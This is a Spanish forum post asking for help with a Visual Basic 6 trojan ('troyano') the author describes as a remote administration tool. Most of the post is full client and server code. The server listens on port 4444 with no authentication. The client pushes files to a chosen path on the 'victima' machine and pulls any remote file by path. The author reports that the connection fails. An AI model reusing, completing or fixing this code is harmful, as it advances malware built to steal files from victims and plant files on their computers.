Wenas, estaba haciendo mi herramienta de administracion remota en visual basic 6, con la api del winsock, para poder usarla en cualqier pc, pero al darle a conectar, el estado del socket (lo pone en la ventana del vb) es "sckConnecting y a los dos segundos (+ o -), el estado es de "sckError"., y evidentemente, no se conecta
No se porqe ocurre esto, pero bueno pues por si me podeis ayudar, aqi os dejo los codigos:
Cliente:
Command1 - Conectar
Command2 - Subir file
Command3 - Descargar file
cd - Common dialog
pb - progress bar
Dim filesize As Long, filedata As String, datos2 As String, progreso As Boolean, bytes As Long, send As Boolean
Dim WithEvents ws As CSocketMaster
Dim ext As String, path As String, nombre As String
Private Sub Command1_Click()
ws.Protocol = sckTCPProtocol
ws.RemotePort = "4444"
ws.RemoteHost = "127.0.0.1"
ws.CloseSck
ws.Connect
End Sub
Private Sub Command2_Click()
cd.Filter = "Todos los archivos |*.*"
cd.ShowOpen
Open cd.FileName For Binary As #1
filedata = Input(LOF(1), 1)
Close #1
nombre = cd.FileTitle
path = InputBox("Elije la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path)
path = path & nombre
filesize = Len(filedata)
ws.SendData "archivo" & "|" & filesize & "|" & path
End Sub
Private Sub Command3_Click()
Dim ruta As String
ruta = InputBox("Introduce la ruta completa del archivo remoto:", "Descargar Archivo", ruta)
ws.SendData "coger" & ruta
ext = Right(ruta, Len(ruta) - 4)
End Sub
Private Sub Form_Load()
Set ws = New CSocketMaster
send = False
progreso = False
End Sub
Private Sub Timer1_Timer()
If ws.State = 7 Then
Label1.Caption = "Conectado"
Else
Label1.Caption = "Desconectado"
End If
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String
ws.GetData datos
If datos = "enviar" Then
progreso = True
ws.SendData filedata
End If
If datos = "recibido" Then
ws.SendData "cierra"
End If
If Left(datos, 7) = "archivo" Then
send = True
filesize = Mid(datos, 8)
ws.SendData "enviar"
datos2 = ""
Else
If Len(datos2) <> filesize And send = True Then
datos2 = datos2 + datos
pb.Min = 0
pb.Max = filesize
pb.Value = Len(datos2)
pb.Refresh
End If
If Len(datos2) = filesize And send = True Then
ws.SendData "recibido"
pb.Value = 0
cd.Filter = "Archivos " & ext & "| *" & ext
cd.FileName = ""
cd.ShowSave
Open cd.FileName For Binary As #1
Put #1, 1, datos2
Close #1
End If
End If
End Sub
Private Sub WS_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long)
'cuando se envia algun dato:
If progreso = True Then
'si el interruptor esta activado entonces continua:
pb.Min = 0 'valor minimo cero
pb.Max = filesize 'valor maximo el tamaño total del archivo, ESTO SIEMPRE ES EN BYTES
bytes = bytes + bytesSent 'bytes es igual a lo que tenga bytes mas los bytes enviados, (EL PAQUETE ENVIADO) la variable bytessent te la da esta subrutina, asi que no ay que declararla...
pb.Value = bytes ' el valor actual sera los bytes actualmente enviados en conjunto
pb.Refresh
If filesize = bytes Then 'cuando se haya enviado el total del archivo, cuando los bytes enviados sean = a los bytes totales del archivo...
pb.Value = 0 ' la pb, se pone a 0 como señal de que a terminado y por que a de estar asi para un futuro envio
MsgBox "Archivo enviado con exito"
progreso = False 'se desactiva el interruptor para que la barra no se active acidentalmente al enviarle datos que no sean el archivo al servidor.
End If
End If
End Sub
y el server:
Dim WithEvents ws As CSocketMaster
Dim filesize As Long, datos2 As String, filedata As String, send As Boolean, path As String
Private Sub Form_Load()
Set ws = New CSocketMaster
send = False
ws.Protocol = sckTCPProtocol
ws.LocalPort = "4444"
ws.CloseSck
ws.Listen
End Sub
Private Sub Timer1_Timer()
If ws.State = 7 Then Label1.Caption = "Conectado" Else Label1.Caption = "Desconectado"
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.CloseSck
ws.Accept requestID
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String, dato As Variant
ws.GetData datos
If datos = "enviar" Then
ws.SendData filedata
End If
If datos = "recibido" Then
'ws.SendData "cierra"
End If
If Left(datos, 7) = "archivo" Then
send = True
dato = Split(datos, "|")
filesize = dato(1)
path = dato(2)
ws.SendData "enviar"
datos2 = ""
Else
If Len(datos2) <> filesize And send = True Then
datos2 = datos2 + datos
End If
If Len(datos2) = filesize And send = True Then
ws.SendData "recibido"
Open path For Binary As #1
Put #1, 1, datos2
Close #1
End If
End If
If Left(datos, 5) = "coger" Then
datos = Mid(datos, 6)
Open datos For Binary As #1
filedata = Input(LOF(1), 1)
Close #1
filesize = Len(filedata)
ws.SendData "archivo" & filesize
End If
End Sub
PD: Unicamente envia y recive archivos de al victima, el resto del troyano no teine nada qe ver con la conexion, pero antes de usar la api funcionaba
Saludos